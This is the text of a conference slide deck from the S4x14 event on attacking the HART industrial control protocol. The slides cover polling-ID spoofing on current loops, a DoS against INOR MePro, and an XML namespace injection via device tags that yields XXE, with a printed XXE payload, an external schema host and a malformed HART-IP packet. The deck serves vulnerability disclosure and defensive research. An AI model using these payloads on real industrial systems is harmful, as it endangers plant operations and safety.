HART as an Attack Vector

- 1.

  Invest in security to secure investments HART as an A)ack Vector: from Current Loop to Applica:on Layer Alexander Bolshev Security analyst at ERPScan S4x14 Digital Bond

- 2.

  Distributed systems researcher, Ph.D. Yet another man in somecolorhat Alexander Bolshev

- 3.

  ERPScan Inc. Leading SAP AG partner in discovering and solving security vulnerabili:es by the number of found vulnerabili:es • The first to develop so;ware for NetWeaver J2EE assessment • Developed ERPScan Security Monitoring Suite: the only soluHon to assess all areas of SAP security • Invited to talk at more than 35 security conferences worldwide: BlackHat (US/EU/DC/UAE), RSA, Defcon, CONFidence, HITB, etc. • Research team with experience in different areas of security: from ERP and web security to mobile, embedded devices, and criHcal infrastructure, accumulaHng their knowledge in SAP research

- 4.

  What is HART? • Highway Addressable Remote Transducer Protocol • Developed by Rosemount in mid--1980s, supported by Hart CommunicaHon FoundaHon (HCF) • Different physical layers: Current Loop, Wireless (802.15.4), HART--over--IP, RS--485 • Mainly used for communicaHng between soQware/PLC and RTUs (originally transmi]ers) • Mostly used in hazardous environments, i.e. power plants, chemical factories, oil & gas industry. • Current loop line length can reach up to 3km => possible physical security problem • Hart protocol: Simple. Reliable. Secure. © HCF erpscan.com 4 ERPScan — invest in security to secure investments

- 5.

  HART devices • RTUs – Transmi]ers (temperature, pressure, etc.) – I/O devices • PLC modules • Gateways • Modems • Communicators erpscan.com 5 ERPScan — invest in security to secure investments

- 6.

  HART soQware • SCADA and HMI • OPC • PAS (Plant Assets management So;ware) • MES (and even ERP!) integraHon components erpscan.com 6 ERPScan — invest in security to secure investments

- 7.

  HART vendors erpscan.com 7 And much more! ERPScan — invest in security to secure investments

- 8.

  Typical HART infrastructure erpscan.com 8 Current Loop PAS MES RTUs SCADA/OPC PLCs HART modem HART modem HART communicator ERPScan — invest in security to secure investments

- 9.

  HART layers Physical layers: – FSK (Copper wiring, 4--20mA current loop): • point--to--point mode (analog/digital) • mulHdrop mode (digital) – Wireless HART (over 802.14.5) – HART--over--IP (TCP, UDP) – RS--485 HART gateways erpscan.com 9 OSI Layer HART 7 ApplicaHon Hart commands 2 Datalink Binary, Master/Slave protocol with CRC 1 Physical FSK via Copper wiring, Wireless, RS--485, HART--IP ERPScan — invest in security to secure investments

- 10.

  HART over Current Loop (HART FSK) erpscan.com 10 *picture from h]p://hartcomm.org ERPScan — invest in security to secure investments

- 11.

  HART connec:on erpscan.com 11 + 24V -- 250Ohm RTUs RTU External Hardware HART Communicator Source wiring (change polarity for sink, add forth wire for isolated) ERPScan — invest in security to secure investments

- 12.

  HART packet structure • Every packet started with 0xff…0xff preamble • Two packet types: short and expanded • Two address type: polling and unique • Three frame types: – Burst frame (BACK, 1) – Master to field device (STX, 2) – Field device to master (ACK, 6) • Check byte: XOR of all bytes • Three types of commands: Universal, Common PracHce and Device Families. erpscan.com 12 Delimeter Address [Expand] Command Byte Count [Data] Check byte ERPScan — invest in security to secure investments

- 13.

  HART commands HART has two addressing schemes: – Polling ID (set by engineer, used for geong unique ID) – Unique ID (unique per RTU) HART commands divides into three groups: • Universal: – OperaHons with id, geong main variable, tag operaHons, e.t.c. • Common pracHce: – Engineering and process specific commands. • Device Families: – Device family specific commands. erpscan.com 13 ERPScan — invest in security to secure investments

- 14.

  Possible risks If a]acker will get access to the HART channel, he could: • Jam the channel to distract normal process. • Reconfigure RTUs (change the variables limits, alarm ranges, e.t.c.), even reflash and write to EEPROM. • Spoof some RTUs variable data (we'll talk later about how to do this). • Exploit vulnerabili?es in HART soBware. • ACack systems that uses data from HART soBware. erpscan.com 14 ERPScan — invest in security to secure investments

- 15.

  But… erpscan.com 15 ERPScan — invest in security to secure investments …you can't just simply spoof the HART packet.

- 16.

  Spoof is impossible in HART FSK? • The following a]acks are possible only if a]acker can force HART master to connect to his forged HART device instead of real device. • But HART protocol FSK physical layer based on FSK, half--duplex and master--slave scheme, so we can't simply spoof HART packet, because if we both answer on master packet, collision will occur. • HART is secured against such a)acks according to vendors. So, spoofing a)acks impossible in HART? That's false. We can't simply spoof, but we can change RTU polling ID. erpscan.com 16 ERPScan — invest in security to secure investments

- 17.

  A)ack scheme erpscan.com 17 ERPScan — invest in security to secure investments Current loop Master Slave (1) Normal process: master speaks with slave Command with address --> E0BD010303 <-- Reply PollID: 1 UniqueID: E0BD010303 Sniffing traffic A]acker

- 18.

  A)ack scheme erpscan.com 18 ERPScan — invest in security to secure investments Current loop Master Slave (2) A]acker JAMs the line PollID: 1 UniqueID: E0BD010303 A]acker

- 19.

  A)ack scheme erpscan.com 19 ERPScan — invest in security to secure investments Current loop Master Slave (3) Immediately a;er that sends command 6 to RTU Change your polling id to 9 --> <-- Reply PollID: 9 UniqueID: E0BD010303 A]acker

- 20.

  A)ack scheme erpscan.com 20 ERPScan — invest in security to secure investments Current loop Master Slave (4) Master asks: who has polling ID equal to 1? Command 0 for polling id 1 --> <-- Reply PollID: 9 UniqueID: E0BD010303 PollID: 1 UniqueID: E0BD010304 A]acker

- 21.

  A)ack scheme erpscan.com 21 ERPScan — invest in security to secure investments Current loop Master Slave (5) Now master speaks to a]acker, not to RTU Command with address E0BD010304 --> <-- Reply PollID: 9 UniqueID: E0BD010303 PollID: 1 UniqueID: E0BD010304 A]acker

- 22.

  Example: INOR MePro • An example: INOR MePro 2.12.01 • HART transmi]ers setup, calibraHon, and diagnosHcs so;ware • Denial of Service vulnerability: HART command 0 replies with 0 in length and >250 'A' (smashing maximum packet length) erpscan.com 22 ERPScan — invest in security to secure investments

- 23.

  INOR MePro 2.12.01 DoS erpscan.com 23 ERPScan — invest in security to secure investments

- 24.

  A)acks on the upper levels: PAS • Plant Assets management So;ware provides tools for managing plants assets, integrates with MES && ERP • There are PAS soluHons for managing RTUs and PLCs • Most popular soluHons: FieldCare and PACTWare • Most of the soluHons are based on FDT/DTM standard • FDT standardizes the communicaHon and configuraHon interface between all field devices and host systems • DTM provides a unified structure for accessing device parameters, configuring and operaHng the devices, and diagnosing problems • DTMs can be also used for OPC && SCADA erpscan.com 24 ERPScan — invest in security to secure investments

- 25.

  erpscan.com 25 Current Loop Transmi]ers && I/O HART modem CommDTM DeviceDTM Frame ApplicaHon COM Container COM Components ERPScan — invest in security to secure investments What is FDT/DTM?

- 26.

  Example frame applica:on: FieldCare erpscan.com 26 ERPScan — invest in security to secure investments

- 27.

  FDT/DTM architecture erpscan.com 27 *diagram from the official FDT/DTM specificaHon ERPScan — invest in security to secure investments

- 28.

XML: worth a try What will happen if the a]acker inserts some bad XML symbols in the device tag? erpscan.com 28 ERPScan — invest in security to secure investments

- 29.

Is it usable? • Unfortunately, HART device tag cannot exceed 8 bytes (6 packed ASCII) and should only be in upper--case • Fortunately, HART long device tag can be up to 32 ASCII characters • Thus, a DTM component that using it for device idenHficaHon may be vulnerable And we found such a component made by a VERY BIG vendor! erpscan.com 29 ERPScan — invest in security to secure investments

- 30.

XML NS injec:on • We have only 32 bytes for XML injecHon and cannot access the beginning of document • So XML NS injecHon was used to include external XDR schema: " xmlns="x-schema:http://pc erpscan.com 30 ERPScan — invest in security to secure investments

- 31.

Injec:ng link into external XDR schema erpscan.com 31 ERPScan — invest in security to secure investments

- 32.

XDR schema injec:on → XXE • It works. Now we can start the web server that returns the specially cra;ed XML schema, which will provide an XXE: C:Tools>type index.html <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE Ent [<!ELEMENT Ent ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:81/">]> <Ent>&xxe;</Ent> C:Tools>python simplehttp.py Serving HTTP on 0.0.0.0 port 80 ... erpscan.com 32 ERPScan — invest in security to secure investments

- 33.

Working XML eXternal En:ty erpscan.com 33 ERPScan — invest in security to secure investments

- 34.

A)ack scheme erpscan.com 34 Current loop PAS PAS Web (e.g. condiHon monitoring)/MES XML data Long tag change packet " xmlns="x--schema:h]p://q123.ru A]acker HART transmi]er XMLI Evil web server Request for remote XDR schema Reply with XXE XXE 1 2 3 4 5 Internet ERPScan — invest in security to secure investments

- 35.

Note! • FieldCare has decent architecture, but it isn't vulnerable in this way: the vulnerability persists only in the component erpscan.com 35 Another component reac:on to external en:ty

But you have thousands of DMTs to check this a)ack against them! ERPScan — invest in security to secure investments

- 36.

Possible risks && consequences XXE allows a]ackers to do evil things, such as: • Reading files • NTLM relay a]acks • SSRF (server side request forgery) a]acks • XML parser DoS (memory consumpHon, etc.) Moreover, as you can see on slides, the vulnerable component uses Internet Explorer to resolve external XML inclusions, and it can also be used by the a]acker if the IE version is old and unpatched (possible RCE and other things) erpscan.com 36 ERPScan — invest in security to secure investments

- 37.

HART over IP • HART can work over TCP or over UDP (port 5094 or 20004/20003) • No authen:ca:on required at all! • First, client (e.g. OPC) and server (e.g. transmi]er) establish communicaHon, then HART commands and answers can be directly sent in packets with a HART--IP header erpscan.com 37 ERPScan — invest in security to secure investments

- 38.

HART OPC Server erpscan.com 38 ERPScan — invest in security to secure investments

- 39.

Another DoS Cra; a packet with a bad HART--IP header: hartip = 'x41x01x00x00x00x02' + 'x0000' erpscan.com 39 ERPScan — invest in security to secure investments

- 40.

Tools developed • HRTShield – a high--power low--noise HART modem Arduino shield for sniffing, injecHng, and jamming current loop • Python HART protocol library and some scripts for HRTShield (JAM, change long tag, and others…) • Metasploit auxiliary modules for scanning HART--IP ports in networks and run basic HART commands, such as device idenHficaHon, reading and changing parameters, working with tags erpscan.com 40 ERPScan — invest in security to secure investments

- 41.
- 42.

Conclusion • HART isn’t as secure as they have been telling you. Sniffing and injecHng in current loop is possible • Every skilled electric engineer/hardware hacker can create HART devices easily • Thus, physical security is the ToDo item No.1 when you are planning HART infrastructure • HART--IP protocol needs deep redesign to make it more secure and reliable erpscan.com 42 ERPScan — invest in security to secure investments

- 43.

Links • HART Shield Circuit and PCB (Eagle): h]ps://github.com/Darkkey/hrtshield • Python scripts and sketches for *duino: h]ps://github.com/Darkkey/harHnsecurity • Metasploit modules: h]ps://github.com/Darkkey/hartmeta erpscan.com 43 ERPScan — invest in security to secure investments

- 44.

Thanksgiving service • Alexander Malinovskiy (Weedle) for great help with HART physical layer research and making HRTShield • Alexander Polyakov (sh2kerr) for making this research possible • Fedor Savelyev and Grigoriy Savelyev for consultaHons on graduaHng amplifiers • Svetlana Cherkasova for some binary magic • KonstanHn Karpov (QweR) for helping with delivering HART devices • Maxim Integrated for great ICs and support • The electronics.stackexchange.com guys for answering many stupid quesHons erpscan.com 44 ERPScan — invest in security to secure investments

- 45.

Web: www.erpscan.com e--mail: info@erpscan.com abolshev@erpscan.com Twi]er: @erpscan @dark_k3y Thank you for listening! Any Q?
